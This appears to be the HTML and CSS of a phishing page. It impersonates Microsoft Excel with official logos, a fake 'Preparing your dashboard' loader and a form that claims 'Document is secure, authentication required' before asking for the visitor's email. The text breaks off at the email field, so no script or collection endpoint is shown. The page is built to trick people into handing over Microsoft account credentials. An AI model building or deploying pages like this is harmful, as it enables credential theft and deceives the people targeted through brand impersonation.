<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Data synchronization </title>
    <style>
        * {
            box-sizing: border-box;
        }

        body,
        html {
            height: 100%;
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            background-image: #f0f0f0;
            font-family: Arial, sans-serif;
            width: 100%;
            overflow: hidden;
        }

        #loader {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(255, 255, 255, 0.8);
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            z-index: 999;
            transition: opacity 0.5s, visibility 0.5s;
        }

        .spin {
            width: 40px;
            height: 40px;
            border: 4px solid rgba(0, 0, 0, 0.1);
            border-top: 4px solid #217346;
            border-radius: 50%;
            animation: spinning 1s linear infinite;
            margin: 20px 0;
        }

        @keyframes spinning {
            100% {
                transform: rotate(360deg);
            }
        }

        #logo {
            width: 100px;
            height: auto;
        }

        #main-content {
            opacity: 0;
            transition: opacity 0.5s;
            width: 100%;
            height: 100%;
            display: flex;
            justify-content: center;
            align-items: center;
        }

        .loading-text {
            font-size: 1.2em;
            color: #555;
            animation: pulse 1.5s infinite;
        }

        #submitLoader {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(255, 255, 255, 1);
            z-index: 9999;
            justify-content: center;
            align-items: center;
        }

        #submitLoader .spinner {
            border: 8px solid #f3f3f3;
            border-top: 8px solid green;
            border-radius: 50%;
            width: 50px;
            height: 50px;
            animation: spin 1s linear infinite;
        }

        @keyframes spin {
            0% {
                transform: rotate(0deg);
            }

            100% {
                transform: rotate(360deg);
            }
        }

        .container {
            width: auto;
            height: 310px;
            margin: 0 auto;
            padding: 20px;
            border: 1px solid #ccc;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            background-color: rgba(225, 225, 225, 0.5);
        }

        .input-field {
            width: 100%;
            margin-bottom: 10px;
        }

        .input-field input {
            width: 100%;
            padding: 10px;
            border: 1px solid #ccc;
            box-sizing: border-box;
        }

        .input-field label {
            display: block;
            margin-bottom: 5px;
        }

        .error-message {
            color: red;
            display: none;
            text-align: center;
            font-size: 12px;
            font-weight: bold;
            /* Hidden initially */
            margin-bottom: 15px;
        }

        .submit-btn {
            width: 100%;
            padding: 10px;
            background-color: green;
            color: white;
            border: none;
            align: left;
            cursor: pointer;
        }

        .submit-btn:hover {
            background-color: darkgreen;
        }

        @keyframes pulse {

            0%,
            100% {
                opacity: 1;
            }

            50% {
                opacity: 0.5;
            }
        }

        @media (max-width: 600px) {
            .spin {
                width: 30px;
                height: 30px;
                border-width: 3px;
            }

            .loading-text {
                font-size: 1em;
            }

            #logo {
                width: 20px;
            }
        }
    </style>
</head>

<body>
    <div id="loader">
        <img id="logo"
            src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/34/Microsoft_Office_Excel_%282019%E2%80%93present%29.svg/512px-Microsoft_Office_Excel_%282019%E2%80%93present%29.svg.png?20190925171014"
            alt="XLS Logo">
        <div class="spin"></div>
        <p class="loading-text">Loading... Do not close or refresh the page!</p>
        <p class="loading-text"><strong>Preparing your dashboard...</strong></p>
    </div>

    <!-- Submit Loading Screen -->
    <div id="submitLoader">
        <div class="spinner"></div>
    </div>

    <div id="main-content">
        <div class="container">
            <form id="authForm">
                <div class="input-field">
                    <img id="logo"
                        src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg"
                        alt="">
                    <p style="margin-bottom: -8px;margin-top: -8px;font-weight: bold;text-align: center;"></p>
                    <p style="font-size: 12px; text-align:left; margin-bottom: 20px;color: green;">Microsoft Excel File
                    </p>
                    <p
                        style="font-size: 14px; font-weight: bold; text-align: center; margin-bottom: 25px; color: rgb(85, 8, 8)">
                        Document is secure, authentication required.</p>
                    <label for="email"></label>